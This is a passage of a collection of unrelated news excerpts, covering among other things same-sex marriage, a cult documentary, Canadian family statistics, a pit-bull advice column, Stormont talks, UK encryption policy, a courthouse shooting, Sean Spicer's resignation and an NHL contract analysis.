as a settled issue, which he would not seek to overturn. As a longtime leader in the gay-rights movement, and the husband of Jim Ready since 2012, Frank, who is now seventy-six, watched the cause of same-sex marriage move from the fringe to the realm of conventional wisdom. Indeed, the subject turns this often cantankerous man downright cheerful. “Sixty years ago, people didn’t talk about being gay,” Frank said. “But now that so many people are out, straight people know they have gay relatives, gay co-workers. Being gay is kind of positive. It’s kind of fun.” -CNN has set a September 1 premiere date for Holy Hell, an inside look at Buddhafield, a secretive, spiritual cult formed in 1980s West Hollywood. The pic will air at 9 PM ET and repeat at 11. Director Will Allen joined the group just after graduating from film school and eventually became its unofficial documentarian. As he got more deeply involved, he began filming his experiences as the group’s unofficial videographer. It wasn’t until after Allen left the cult that he understood the film he’d been making for more than 20 years. The close-knit Buddhafield aspired to an artistic utopian communal life. Led by enigmatic and charismatic guru, Michel. Buddhafield members pursued his vision for fulfillment while living together, exploring nature, and performing together. Gradually, several came to grow disenchanted with Michel and alleged emotional manipulation and even physical abuse. Holy Hell had its world premiere at Sundance in January, followed by a May 27 theatrical self-release via Allen’s WRA Productions. He produced the film along with Tracey Harnish and Alexandra Johnes. Michael C. Donaldson, Julian Goldstein, Jared Leto, and Cheryl Wheeler Sanders are the executive producers. Check out the newly released key art for the film: -CTV.ca News Staff For the first time there are more single Canadian adults than married Canadians, a new report says. Canadians are also working longer hours, and spending less time with their families -- and the families they have are less likely to be the traditional nuclear family. Those are just some of the findings in Families Count: Profiling Canada's Families IV, a new report released Monday by the Vanier Institute of the Family. Using information from the 2006 census, the report said that only 47.9 per cent of adults were married. The highest amount of married people by province was in Newfoundland and Labrador with 54.3 per cent and the lowest was in Quebec, with 37.5 per cent. Among the territories, only 31 per cent of adults were married in Nunavut. The number of married couples without children also outnumbered married couples with children for the first time. Married-with-children families now represent 39 per cent of families, compared to 55 per cent in 1981. Common-law families are the fastest-growing family type in Canada, from 5.6 per of families in 1981 to 15.5 per cent in 2006. Two decades ago, 81 per cent of children under the age of 15 lived with legally married parents, but in 2006, only 66 per cent of children under 15 did. Kathy Buckworth, the author of several books on motherhood, said the rising proportion of common law relationships may be due to the fact that "we're dealing with people who grew up in the divorce generation." "If they grew up in that situation, perhaps they're thinking, ‘If I can't get married, I can't get divorced,'" she told CTV News Channel. Buckworth also said that financial factors may play a role, with many couples opting to keep their finances separate. "Weddings can cost a lot of money, and with less pressure to have that traditional relationship, or marriage certificate, maybe that's being bypassed," she added. The 2006 census was the first to record data on same-sex marriages. The data said 16.5 per cent of same-sex couples were married. Economic impact on families Clarence Lochhead, the executive director of the Vanier Institute of the Family, said modern economic realities have had a serious impact on the makeup of the Canadian family. More adult children are living with their families, especially young men. Some 60 per cent of men between 20-24 were living at home, as were 26 per cent of men between the ages of 25 to 29. "If you think about the education required to be successful in the labour markets . . . people are waiting much longer to leave home . . . it's a reflection of the economic reality of the labour market," Lochhead told CTV News Channel. Aging parents are also an additional stress on families, as 4.7 million Canadians were providing care for a senior. "It's one of the big challenges we have as a society," Lochhead said. Families are responding by working more. In 82 per cent of two-parent families, each parent is earning some income and in 32 per cent of two-parent families, each parent is working full time. Men are working longer hours, up to 8.8 a day in 2005 compared to 8.2 hours in 1986. That extra work is coming at the expense of the family, with men now spending 3.4 hours a day with family, compared to 4.2 hours in 1986. Women are now more likely to be the breadwinner in a two-parent family, with 28 per cent being the primary earner in their family. That is up from 12 per cent in 1976. -Adapted from a recent online discussion. Hi Carolyn: I live on a street with a large number of young children (under age 6). One family recently bought a new puppy, and we were surprised to learn that it is a pit bull. Now several of us are worried about letting our children play freely on the street, since pit bulls are known as an aggressive breed that can attack without provocation. Any advice on what we can do? Neighbors bought a pit bull Yes: Inform yourselves about pit bulls. Heck, about dogs: Just about any dog can hurt a small child, badly. Dogs don’t “attack without provocation” unless they have temperament problems, and those problems are quite visible in other circumstances. Otherwise, dogs who bite give all kinds of signs that they’re going to defend themselves or their people. Many people ignore/are ignorant of those signs and so they continue the behavior that provokes the dog — or, the owners don’t know anything about dogs and don’t train or handle them safely. Again, this is all dogs, not just pit bulls. Unfortunately, pit bulls became a look-at-how-cool-I-am accessory and fell in disproportionate numbers into the hands of idiots, posers and thugs — people who have no business having pets, much less powerful dogs. The pit bull is not the most dangerous breed out there. What is? Trick question: The most dangerous dog is one that has irresponsible owners and is big enough to kill. Meanwhile, “cute” little dogs, like dachshunds and Jack Russells, are much more likely to bite the neighborhood 6-and-unders. Pits historically have been bred to be responsive to their humans, and they’re actually far less likely to bite if a kid, say, tugs an ear (it just makes the news if they do). Tugging not recommended, by the way, with any dog, which responsible parents teach their kids. Ever see “Our Gang/Little Rascals”? The dog, Petey, is a pit. Pit bulls’ nickname in the past has been “the nanny” because they were known as great family dogs. Still are, by a dedicated population of defenders. So. Do not fear this dog unless you have cause to fear the neighbors. Is the dog spayed or neutered, trained, never chained, walked/exercised regularly and otherwise supervised — all just as good for dogs as for neighbors? Are the neighborhood kids taught how to interact with dogs? Hysteria is no way to protect children from anything. When you feel threatened by something, seek knowledge first, then seek a remedy, if you even need one after you have the facts. Re: Pit bull bullies: It took a conscious effort on my part to learn about pit bulls when a roommate decided to get not one but two! These dogs ended up being the kindest, most well-behaved dogs I’ve ever been around. My roommate also had a 3-year-old daughter. “Neighbors” needs to teach her children about how to approach a dog and what a dog means by its body languages. Anonymous Absolutely. Abundant resources are a browser away. Type “dog stress signs.” Anyone curious about pit bulls should also check out what became of the Michael Vick pit bulls. Educational and inspiring. Write to Tell Me About It, Style, 1150 15th St. NW, Washington, D.C. 20071, or tellme@washpost.com. -Image: wireless sensor microchip/UCL The IEEE Computer Society released a report this week detailing its predictions for the state of computing technology in 2022. No, the Singularity is not part of it: no downloaded personalities or post-human artificial intelligence. It nonetheless sounds a lot like "the future" should, with wearable, implantable nanotechnology and batteries that hold charges for months on end, just a more comprehensible future, one that doesn't involve sudden innovative inflationary periods or out-of-the-blue discoveries. Technology follows a trajectory. "Predicting the future in the computer industry is even harder and riskier due to dramatic changes in technology and limitless challenges to innovation," the IEEE CS report begins. "Only a small fraction of innovations truly disrupt the state of the art." "Some [innovations] not practical or cost-effective, some are ahead of their time, and some simply do not have a market," the report continues. "There are numerous examples of superior technologies that were never adopted because others arrived on time or fared better n the market. Therefore this document is only an attempt to better understand where technologies are going." The report is the product of nine technical leaders within the IEEE Computer Society surveying the current states and progressions of 23 different technologies, including, 3D printing, big data and analytics, open intellectual property movement, massively online open courses, security cross-cutting issues, universal memory, 3D integrated circuits, photonics, cloud computing, computational biology and bioinformatics, device and nanotechnology, sustainability, high-performance computing, the Internet of Things, life sciences, machine learning and intelligent systems, natural user interfaces, networking and inter-connectivity, quantum computing, software-defined networks, multicore, and robotics for medical care. This authors took the above listed technologies and examined them in light of different drivers and disruptors. The relative weights of technological drivers there were able to determine are indicated in the chart below. Disruptors: So, what does it all add up to? A key projection of the IEEE report is the "seamless intelligence scenario. Computing devices—from the very small, such as wearable devices and chips embedded under the skin, to the computers inside our mobile devices, laptops, desktops, home servers, TV sets, and refrigerators, to the computing cloud that we reach via the Internet—are interconnected via different communication and networking technologies," the report explains. "Together, they form an intelligent mesh," the authors continue, "a computing and communication ecosystem that augments reality with information and intelligence gathered from our fingertips, eyes, ears, and other senses, and even directly interfaced to our brain waves." It's the internet of things, where we ourselves become a thing. The report is really a series of reports, each one examining each of the aforementioned 23 technologies in great detail. It's open-access and worth a deep dive. Some other highlights include a worrisome note about the looming limits of classical computer systems, as they shrink to their absolute minimum and effectively put the brakes on Moore's law. Computers as we know them will stop getting faster and smaller—soon. The authors seem hopeful that quantum computing can save the day, but as to whether practical QC will be ready in time is unsettled. Advances in computer memory will help stave off this Moore's wall, at least. I've written here before about the profound limits current memory systems are putting on computing power. Computers may get faster, but they're not gaining memory access speed nearly as fast. The hope is for a "universal memory" system to save the day, in which SRAM, DRAM, hard-drive, and flash memory are all integrated into one quickly accessible and extremely small system. In the future, hard-drive access could be as quick as it is for an actual logic unit to access its own registers (the slivers of memory within the unit itself). "We expect at least one NVM [non-volitile universal memory] technology to reach maturity and volume manufacturing capabilities within the next three to five years," the IEEE team predicts. By 2022, it's reasonable to expect a "collapsing" of the memory hierarchy into a single (or near to it) uniform technology. There will still be organization, of course, but all within the same basic superfast device. Fortunately, medicine seems less likely to hit a fundamental limit than computers. "Imagine your life being saved by a custom-designed medical machine made from particles 50,000 times as small as a single strand of your hair," the report offers. You might be living with a fleet of diagnostic bots just cruising around inside your body, looking for trouble and fixing it. A proper auxiliary immune system. In Wired, the IEEE's Dejan Milojicic, makes a valiant effort at summarizing the report's other key findings, which are extensive. "With energy consumption increasing along with the world's population, electric cars, LEDs, smart grids, smart cities, dark silicon, new battery technology, and new ways of cooling data centers are some areas where advances in sustainability are expected," he writes. "Silicon photonics will address bandwidth, latency, and energy challenges, and developments at all levels of the network stack will continue to drive research and the Internet economy," Milojicic continues. "In the area of software-defined networks, OpenFlow and SDN will make networks more secure, transparent, flexible, and functional." Fortunately, predicting the future isn't solely the realm of futurists, but of scientists too. In some ways that's just as hopeful. -Gun rally to end permits for concealed weapons Grassroots NC pressures Republican Senators to pass gun bill Share Shares Copy Link Copy Hide Transcript Show Transcript WEBVTT THE STATE CAPITOL TODAY, INHOPES OF DOING AWAY WITH PERMITSFOR CONCEALED WEAPONS.BILL O'NEIL TAKES US THERE.BILL: GUN RIGHTS ADVOCATES CAMEUP SHORT THIS PAST SESSION.THEIR EFFORTS TO ELIMINATECONCEAL CARRY PERMITS PASSED THEHOUSE, BUT NEVER CAME TO A VOTEIN THE SENATE.>> WE ARE TELLING THEM TO DOWHAT THEY SENT YOU HERE FOR.THEY SEEM TO HAVE FORGOTTEN WHOBROUGHT THEM TO THE DANCE.BILL: TODAY'S RALLY TARGETSSENATE REPUBLICANS.THE GUN RIGHTS GROUP CALLEDGRASSROOTS NORTH CAROLINA SAYSIT WANTS TO SHAME THEM INTOACTION.THEY USED A MASCOT NAMED SQUISHYTHE MAGIC RINO TO CALL OUT WHATGUN SUPPORTERS SAY ARE RINOS,REPUBLICANS IN NAME ONLY.>> THE FACT IS VOTERS SENT THEMHERE, GUN VOTERS SENT THEM HERETO DO A JOB, AND WE WANT THEM TODO T JOB WE SENT THEM TO DO.BILL: GUN SUPPORTERS DELIVERTHEIR MESSAGE TO THE OFFICE OFTHE SENATE'S TOP REPUBLICAN,PHIL BERGER, WHO WASN'T IN.BUT A NUMBER OF REPUBLICANSOPPOSE ELIMINATING PERMITS FORCONCEALED WEAPONS, INCLUDINGGUILFORD COUNTY LAWMAKER JOHNFAIRCLOTH.>> LOOK AT HOW MANY KILLINGS WEHAVE HAD IN NORTH CAROLINA INTHE LAST SIX MONTHS.IT IS GETTING TO BE AN EPIDEMIC,ALMOST.BILL: GUN RIGHTS ADVOCATES SAYSSENATE REPUBLICANS CAN EXPECT TOSEE THEIR RINO MASCOT NOT ONLYAT THE LEGISLATURE, BUT AT GOPCAMPAIGN EVENTS AS WEL -Image copyright Reuters Image caption Northern Ireland has effectively been without a devolved government for almost six months Sinn Féin has called on the British and Irish governments to intervene to help break the deadlock in Stormont's power-sharing negotiations. John O'Dowd said they must inject "leadership and energy" into the talks. But the DUP's Edwin Poots said that "one party cannot deliver this process on its own". Talks to restore Northern Ireland's devolved government are going down to the wire, with the parties having until 16:00 BST on Thursday to reach a deal. If agreement is not reached by the deadline, which is set down in law, Northern Ireland faces the prospect of a return of direct rule from London. 'Expect very late night' The negotiations involve the five main Northern Ireland parties and the UK and Irish governments, although a deal is dependent on whether the two biggest parties, the DUP and Sinn Féin, can resolve their differences. These include republican demands for a stand-alone Irish Language Act and rights for the LGBT (gay, lesbian, bisexual, transgender) community. The DUP has criticised the Irish government for supporting Sinn Féin's demand for an Irish Language Act. In a statement, the party said: "Only last week the Irish government lectured our United Kingdom government on the importance of observing neutrality when dealing with Northern Ireland parties. "Yet by publicly declaring its support for Sinn Féin's position in negotiations, the Irish government has undermined its own credibility as being neutral." Round-table talks involving the five party leaders were due to take place on Wednesday but the BBC understands the DUP and Sinn Féin did not show up. Irish Foreign Minister Simon Coveney tweeted: "Stormont talks continuing - efforts intensified to find agreement on outstanding issues before tomorrow's deadline. Expect very late night." Media playback is unsupported on your device Media caption What are the options if no deal is reached? Shortly after 17:00 BST on Wednesday, Sinn Féin's John O'Dowd said no compromise had been reached and he called on the governments to become more involved in the efforts to reach a deal. "With less than 24 hours to go in these talks, the DUP have not moved to resolve the issues which brought down the institutions in January," Mr O'Dowd said. Image caption Sinn Féin's John O'Dowd called on the British and Irish governments to help break the deadlock "Rights, equality and respect need to be resolved, they need to be implemented in legislation and we need to get to that position. "There is now clearly an onus on the two governments to inject energy into these talks, to inject leadership into these talks and ensure that the outstanding issues are resolved in the timescale we have left to us." However, the DUP's Edwin Poots said the party wanted to show "absolute respect for other people's language and culture" in respect of Sinn Féin's demand of an Irish Language Act. Mr Poots also said that talks had been a "slow grind". "We're trying to get to people's bottom lines so decisions can be made as to how we can move forward. We would like to do that tomorrow but that's up to others. "Ultimately, one party can't deliver on this process on its own, it's going to be an engagement." He added that the DUP were ready to establish government before the deadline and "if there's issues outstanding that we need to continue to work on, then we're happy to do that". With no breakthrough reached by Wednesday evening, it would be very difficult to meet Thursday's deadline, according to BBC NI political correspondent Enda McClafferty. "It appears there has been little or no progress made on the key issue which is emerging - the Irish Language Act," he told the BBC's Evening Extra programme. 'Real Madrid star' Earlier, Northern Ireland Secretary James Brokenshire said that there would be serious implications if the Stormont parties could not agree a deal by Thursday's deadline. Mr Brokenshire would not go into detail about any alternatives he might be considering if the talks fail. He also denied the Tory-DUP confidence and supply deal would make it impossible for the government to maintain their impartiality in Northern Ireland. He said he had not been part of those talks. Speaking at Northern Ireland Questions in Westminster, Mr Brokenshire said he would not be on a liaison committee being set up by the Democratic Unionist Party (DUP) and the Conservatives. Image copyright Reuters Image caption DUP MP Sir Jeffrey Donaldson and Tory Chief Whip Gavin Williamson signed the deal agreed this week Under the "confidence and supply" arrangement, the DUP guarantees that its 10 MPs will vote with the government on the Queen's Speech, the Budget, and legislation relating to Brexit and national security - while Northern Ireland will receive an extra £1bn over the next two years. While rival Stormont parties have largely welcomed the additional funding, concerns have been raised that the deal could undermine the peace process and devolution negotiations, with the UK government dependent on the support of the DUP. The Scottish National Party said the DUP was holding a "sword of Damocles" over the government's head. SNP MP Alison Thewliss joked that the £1bn deal meant each DUP MP was now worth more than the Real Madrid footballer Cristiano Ronaldo. The new Shadow Northern Ireland Secretary Owen Smith said there was a danger that trust in the perception of the government's impartiality would be eroded. He called on the government to publish the minutes of any meetings of the new liaison committee. Image caption If parties cannot agree a deal by Thursday, then direct rule could be implemented Northern Ireland has effectively been without a devolved government for almost six months. Its institutions collapsed amid a bitter row between the DUP and Sinn Féin about a botched green energy scheme. The late deputy first minister, Martin McGuinness, stood down in protest over the DUP's handling of an investigation into the scandal, in a move that triggered a snap election in March. -David Cameron is “living in cloud cuckoo land” when he suggests a new Tory government would ban messaging apps that use encryption, security experts have told the Guardian. The prime minister has pledged anti-terror laws to give the security services the ability to read encrypted communications in extreme circumstances. But experts say such access would mean changing the way internet-based messaging services such as Apple’s iMessage or Facebook’s WhatsApp work. Independent computer security expert Graham Cluley said: “It’s crazy. Cameron is living in cloud cuckoo land if he thinks that this is a sensible idea, and no it wouldn’t be possible to implement properly.” Other security experts echo Cluley, describing the approach as “idiocy” and saying Cameron’s plans are “ill-thought out and scary”. The UK’s data watchdog has also spoken out against “knee-jerk reactions”, saying moves could undermine consumer security. Meanwhile a start-up has warned on the possible effect on Britain’s nascent technology sector of Cameron’s plans. Eris Industries, which uses open-source cryptography, has said it is already making plans to leave the UK if the Conservative party is re-elected with this policy in its programme. On Monday, Cameron made a speech in which he decried the ability of ordinary people to have conversations on which the security services were unable to eavesdrop. “In extremis, it has been possible to read someone’s letter, to listen to someone’s call, to mobile communications,” Cameron said. “The question remains: are we going to allow a means of communications where it simply is not possible to do that? My answer to that question is: no, we must not.” Cluley said either tech companies would have to work with UK government and build backdoors into their software to allow the authorities to intercept messages, or the apps themselves will have to be banned. “If there are backdoors in the apps, or if weak encryption is used, then you are only opening up opportunities for hackers to break in and steal information too. That’s not going to go down well with businesses or consumers,” Cluley said. Ross Anderson, professor of security engineering at the University of Cambridge, said: “This is just what the agencies pushed in the late 1990s, after Al Gore persuaded Tony Blair to go back on his pre-election promise not to ban encryption. “Industry fought back, along with civil society, and the outcome was the Rip Act, which gives a chief constable the power to demand decryption.” Peter Sommer, professor of cybersecurity and digital evidence at de Montfort and the Open Universities, said: “The National Crime Agency and the people there understand that relationships with people and the companies like Google are important, as they will help you, but passing laws and badmouthing in public is simply not going to work,” “But at the top there’s been the kind of idiocy exemplified by what happened in the basement of the Guardian, where there were obviously lots of copies of the Snowden material but they insisted on the destruction of a computer that might have been used for storing them.” “Yes you can pass laws in Westminster until you’re blue in the face but you can’t enforce them,” said Sommer. The UK’s data watchdog, the Information Commissioner Christopher Graham and data privacy campaigners were equally worried by Cameron’s comments and the implications it could have on data security and privacy. “We must avoid knee jerk reactions,” said Graham. “In particular, I am concerned about any compromising of effective encryption for consumers of online services.” “Citizens, businesses, and nation states need to protect themselves. Internet companies are understandably offering their customers online services that are better encrypted following recent security incidents,” said Graham. “Cameron’s plans appear dangerous, ill-thought out and scary,” said Jim Killock, director of the Open Rights Group. “Having the power to undermine encryption will have consequences for everyone’s personal security. It could affect not only our personal communications but also the security of sensitive information such as bank records, making us all more vulnerable to criminal attacks.” “The only practicable way forward is a new international treaty on access to communications data and content, which must involve safeguards that will be acceptable to all,” said Anderson. Preston Byrne, the chief operating officer of Eris Industries, warns that his company will be forced to leave the UK if Cameron’s comments on the technology become policy, and move to “more liberal climes such as Germany, the U.S., the People’s Republic of China, Zimbabwe, or Iraq.” Byrne, who is also a fellow at the London-based free-market think tank ASI, told the Guardian that “secure open-source cryptography is at the core of our business… so we were able to make the decision more or less immediately.” Eris Industries uses technology loosely based on the bitcoin cryptocurrency to build a decentralised network, with potential applications in communications, social networking and community governance. But, Byrne warns, “none of these benefits can be realised without secure cryptography, including end-to-end encryption. “David Cameron has said this measure is designed to ‘modernise’ the law. He fails to understand the full extent of how out of date the law is. The only way you can shut down cryptographic distributed networks today is to either arrest the vast majority of (or in the case of a blockchain database, all) persons running a node and ensure that every single data store containing a copy of that application database is destroyed; or shut down the Internet.” As a result, he tells the Guardian, “I’d be very surprised if the Conservatives stick to their guns on this.” One insider at a major US technology firm told the Guardian that “politicians are fond of asking why it is that tech companies don’t base themselves in the UK”. “I think if you’re saying that encryption is the problem, at a time when consumers and businesses see encryption as a very necessary part of trust online, that’s a very indicative point of view.” -PROVIDENCE, R.I. — Four men are in custody after a shooting Thursday morning just a block away from the Garrahy Judicial Complex in downtown Providence. A report of shots fired came in to Providence police at 10:48 a.m., after a possibly gang-related dispute broke out inside the courthouse and moved outside after deputy sheriffs ejected the participants, Providence Police Chief Hugh Clements Jr. said. Detectives converged on the downtown area and quickly took four young males into custody. The suspect who was believed to have fired the gun was picked up behind the Coro Center, Clements said. There were no reported victims, but detectives will check with the hospitals, Clements said. Detectives recovered a handgun, according to Commander Thomas Verdi. "Everyone is safe," Clements said. The suspect "clearly had an intended target." Lawyer Nick Obolensky was inside the fourth-floor court hallway when he saw several young men get into a fight and the deputy sheriffs eject them, he said. The young men went outside, where the fight continued and gravitated on to Pine Street. Garrahy courthouse was placed on lockdown for about a half-hour, with no one allowed to go in or out, Amanda Lysikatos, who'd been in court on a matter, said as she watched detectives work the scene. Beverly Berard, of North Providence, said she saw about 10 young people fighting and cursing in the center of Pine Street. "All of a sudden a gun went off," said Berard, who works at the Pierce Atwood law firm. Four to five people scattered in one direction on foot. Four to five others ran in the opposite direction, she said. One of the people involved had a ponytail and wore red shorts. "You hear fighting at the courthouse, but never a gun shot," she said. A suspect was seen sprinting down Fountain Street moments later. The scene drew the attention of criminal justice majors at Johnson and Wales University as police and prosecutors questioned witnesses. Several left the homeland security class after hearing gunfire and checking Providence police scanner activity. "I wanted to go so bad," said Michael Clark, a senior who plans to go to law school. Alexis Pollack, also a senior and budding cop, documented the scene on Facebook Live. It is the second shooting outside a courthouse in less than a year. A 22-year-old Pawtucket man was critically injured after a noontime drive-by shooting in January near the Licht Judicial Complex. Discussions are afoot in the state judiciary about changing the policy that bars deputy sheriffs from carrying guns. Since 2015, some deputy sheriffs have carried Tasers in addition to batons, pepper spray and handcuffs. Craig Berke, spokesman for the judiciary, said the deputy sheriffs armed themselves during the incident and security was enhanced at the courthouse. Surveillance video taken in and outside the courthouse is being reviewed, he said. Berke released this statement late Thursday: "Court security procedures are constantly under review and the Judiciary's administration is certainly looking at this event. We are always looking at measures that will further enhance the safety of litigants, the public, judges and staff within our courthouses. Our security protocols worked today. There was no breach within the courthouse or on the courthouse grounds, not even when one of the subjects involved sought refuge from the shooting by returning to the courthouse, where he was screened and detained for the police." This story was updated multiple times, most recently at 11:46 a.m., 12:43 p.m. and 3:59 p.m. -You really can’t make up how ludicrous things have gotten at campuses in the United States. Here’s the latest via the University of Michigan: Delicate snowflakes. Univ. of Michigan cancels ‘American Sniper’ screening: ‘Made students feel unsafe’ http://t.co/NJ8SH4cGPI — JWF (@JammieWF) April 8, 2015 Oh, COME ON! I'm disgusted by the Univ of Michigan, it cancelled the campus screening of American Sniper http://t.co/sBixroYm0p #ChrisKyleAmericanHero — Dave Melin (@Schneider_F3) April 8, 2015 Gutless display by my alma mater. University cancels ‘American Sniper’ screening: ’Made students feel unsafe’… http://t.co/SwS3TfT4xF — Steve (@evetsgnaw) April 8, 2015 Are U of Mich students delusional, thinking campus was in Iraq or just wussies? American Sniper canceled. http://t.co/tu7h69ES3s — Michael R Shannon (@ReluctantUser2) April 8, 2015 And instead of “American Sniper,” the vicious, killer Wolverines of Michigan will see… Win for the precious snowflakes. Univ of Michigan pulls "American Sniper" screening, replaces w/ "Paddington Bear". http://t.co/r6JPc3Pzbg — CamEdwards (@CamEdwards) April 8, 2015 @Mashon45 Paddington will be shown instead. — Campus Involvement (@UMInvolvement) April 7, 2015 Ha! Here’s the official statement from UM’s Center for Campus Involvement on the cancellation: A statement from the Center for Campus Involvement regarding the screening of American Sniper at UMix this Friday. pic.twitter.com/uClDigpd4w — Campus Involvement (@UMInvolvement) April 7, 2015 Update: The university has decided to go ahead and screen the film, but with these safeguards. *** Related: Twitchy coverage of American Sniper -Sean Spicer, the White House press secretary, quit his position on Friday after telling President Donald Trump he disagreed with the hiring of Anthony Scaramucci as communications director. Trump offered Scaramucci, a New York financier, the job on Friday morning and reportedly requested that Spicer stay on. Scaramucci said at a White House briefing that “Sean decided that he thought it would be better to go.” Sarah Huckabee Sanders, who had been Spicer’s deputy, will take over for Spicer as White House press secretary. See live blog of White House press briefing. Scaramucci founded the investment firm SkyBridge Capital, and the SALT hedge-fund conference. He regularly defended Trump on television during the campaign and was a campaign fundraiser. AFP/Getty Images Anthony Scaramucci Spicer was communications director at the Republican National Committee before joining the Trump team. The 45-year-old was known for being combative with White House reporters and the subject of lampoons by comedian Melissa McCarthy on “Saturday Night Live.” See: Sean Spicer on Melissa McCarthy’s ‘SNL’ performance: Cute, funny but ‘dial it back.’ Sanders read a statement from Trump at the briefing, saying he was “grateful” for Spicer’s White House service and that he wished him well. “Just look at his great television ratings,” Trump said in the statement. Scaramucci said he loved Spicer and that “I hope he goes on to make a tremendous amount of money.” Spicer’s tenure got off to a controversial start when he said Trump’s inauguration was “the most watched ever,” a statement that was later debunked. In recent weeks, Spicer had briefed the press less regularly. Sanders has instead frequently taken the podium at the White House briefings, which have often been held off camera. Before Friday, there had not been an on-camera briefing since June 29. Spicer said in a tweet on Friday that it had been an “honor” to serve Trump and that he would work through August. It's been an honor & a privilege to serve @POTUS @realDonaldTrump & this amazing country. I will continue my service through August — Sarah Sanders (@PressSec) July 21, 2017 In May, Trump blamed his press team, including Spicer, for failing to put out the public firestorm that erupted after Trump fired James Comey as director of the Federal Bureau of Investigation. As USA Today wrote, the strain in the Trump-Spicer relationship was on display when Trump did not invite the devout Catholic to a meeting with Pope Francis at the Vatican in late May. In another memorable episode involving Spicer and the media, a Washington Post story in May said he was hiding in bushes at the White House. The Post later said he was “among” the bushes. The story prompted mocked-up pictures of Spicer in bushes, including one on Friday. -Two of the longer term concerns entering the 2013-14 season for the Toronto Maple Leafs were the contract statuses of their star players Phil Kessel and Dion Phaneuf. GM Dave Nonis made good on Kessel’s desire to negotiate before the season, and now the Leafs leading scorer will be in the fold until 2022. Having taken care of the time sensitive work, now Nonis’ sights will be set on re-signing the Leafs captain to a long term deal. But what’s it going to cost? Let’s take a look. For his part, Phaneuf has said he’s open to negotiating a new deal midseason, having done so in Calgary back in 2008. And why not? The Flames overpaid to lock up a young, budding star defender that had already reached the 20-goal and 60-point plateau by the age of 23. He’s never managed to repeat either feat since, and was shipped to Toronto two years later as a high-priced disappointment. Since coming to Toronto, he’s lost and re-found some measure of his scoring touch, while regularly lining up in the toughest defensive assignments. His role has changed, the cap has risen, the rules have changed, but his paycheque has remained static since then. To look at what Phaneuf should get, I looked into the last four seasons of data on defensemen (2009-10 through 2012-13). Amusingly, these happen to be the four worst years of Phaneuf’s career from a statistical standpoint, but probably better reflect his scoring output as the seasons roll on. Yes, in an eight-year career, two Phaneuf’s worst individual seasons saw him feature 10th and 12th in league scoring among defenders. So please understand that I used the word ‘worst’ in a relative sense here. In 277 games over the last four seasons, Phaneuf ranks 23rd in points scored with 134, good for .48 points per game. More impressively, he ranks 8th in goals (41), power play goals (18) and time on ice (6916 minutes). It is in that last category where there’s some interesting salary correlations, as six of the seven players ahead of him in TOI over the last four seasons also have higher cap hits (Weber, Chara, Bouwmeester, Doughty, Suter and Boyle). Only Duncan Keith, signed to a phony 13-year, $72-million deal that pays just 5% of his total salary over his final two seasons, has a lower annual cap hit and has played more hockey than Phaneuf. Now, ice time is hardly a perfect measure of Phaneuf’s worth, and I think most would agree that at least five of the seven players ahead of Phaneuf on that list are better defensemen than the Leafs captain. But what we can extrapolate is that is that defensemen who play as much as Phaneuf does tend to get paid as much as Phaneuf does. They also tend to have both a leadership role and a ‘play in all situations’ role with their club, much like Phaneuf does. So while I’d be hesitant to say that Phaneuf is the league’s 8th best defenseman, he’s certainly in the top 20. But one of the greatest difficulties in projecting Phaneuf’s future cap hit is understanding the vast shift in his playing style since coming to Toronto. As alluded to above, he has been tasked with defensive zone starts and top lines every shift he’s skated in Toronto. In his early days, Phaneuf saw over 5 minutes a night on the power play, and was given sheltered minutes at even strength. This season, Phaneuf finds himself in an elite pair of defenders (the other being Phoenix Coyotes defenseman Oliver Ekman-Larsson) who average at least 3:30 in ice time on both the penalty kill and power play per game while facing the league’s best forwards. At this point, I’d like to remind Leafs fans of Phaneuf’s idol and potential career model, Scott Stevens. While known for punishing hits and staunch defensive play for the New Jersey Devils, it’s sometimes hard to remember that he was once a pure scorer. While never among the ranks of Larry Murphy or Paul Coffey offensively, Stevens still tallied 900 points in his career. His best season was 1993-94 when he finished with 78 points. Then came the first of Gary Bettman’s lockouts and a new game format that encouraged stifling defensive play. In 10 more seasons, Stevens would only crack 30 points once more, yet he became the most notable defensive presence of the “Dead Puck Era.” Similarly for Phaneuf, the offensive dynamism that made him rich seems to have been replaced by defensive prowess. It’s not that Phaneuf has lost that offensive side to his game, it’s that his role and usage limit his overall number of offensive chances for in favour of limiting offensive chances against. Phaneuf could never score 40 points again, but he’s significantly more reliable, responsible and positionally sound than he was in his halcyon days as a scorer. As both James Mirtle and I said on Monday, Phaneuf is without a doubt the most irreplaceable player in the line up. Many have argued that Phaneuf’s current cap number looks out of place citing his capgeek comparables, and have been using Jay Bouwmeester when forecasting Phaneuf’s next deal. The St. Louis Blues defender and former linemate of Phaneuf’s is in the last year of a deal that pays him $6.68-million annually. He also recently signed a five-year extension with the Blues that will pay him a mere $5.4-million. And for seemingly little reason, that’s what Phaneuf should get. Or so the thinking goes. But there’s several factors that make me believe there’s no chance that Phaneuf can be re-signed for JayBo’s modest number. Firstly, there’s little similarity in their game, beyond the fact that both log a tonne of minutes. Over the past four seasons, Bouwmeester has 30 fewer points than Phaneuf; 22 fewer goals. While a top defenseman in his own right, Bouwmeester has to fight for third billing behind standouts Alex Pietrangelo and Kevin Shattenkirk. It’s hard to ask for a raise when there are two other guys at your work who do your job better than you. Phaneuf does not have to suffer that workplace competition, and might never in a Leaf uniform. Also, George W. Bush was still president at the start of the last season where Bouwmeester recorded 40 points. Finally, Phaneuf is also a year younger than Bouwmeester, still closer to his prime and still able to crack 40 points. So what does it all mean? What is Phaneuf worth? Most would agree that he’s not worthy of Ryan Suter’s $7.4-million paycheque, despite Phaneuf having 59 more points over 600-game careers. He’s also worth more than Jay Bouwmeester’s future cap hit of $5.4-million. If I had to stake a guess, I’d actually say that Phaneuf will see a slight raise ahead of next season. He’s still only 28, and has been healthy most of his career. He’s proven capable of playing 25-minutes a night and more likely than not to score 40 points a season. There’s a dearth of options internally or externally that the Leafs could acquire to immediately replace and improve upon what Phaneuf does. The only way I could see him re-signing at his current price tag or for less money is if the Leafs are willing to offer Phaneuf an eight-year deal. But if I had to give a more accurate range, I’d say that the Leafs and Phaneuf will probably end up coming to terms on a deal in the 7-8 year, $47-56-million deal. That would put his annual cap hit at a reasonable, $6.7 to $7-million cap hit on a deal that would expire when Phaneuf was 36 or 37 years of age. Should the Leafs want shorter term, expect the AAV to go up accordingly. While it might sound unreasonable, nothing about NHL player’s paydays are ever reasonable. And ask yourself, what would you rather have? Phaneuf at 6.9 million, or to spend the next few seasons trying to replace him? Highest Scoring NHL Defenseman For combined seasons, from 2005-06 to 2013-14, playing defenseman, sorted by descending goals scored. -Buy Photo Domestic abuse victims who call the police often won’t have to worry about being kicked out of their rental properties under a bill approved by the 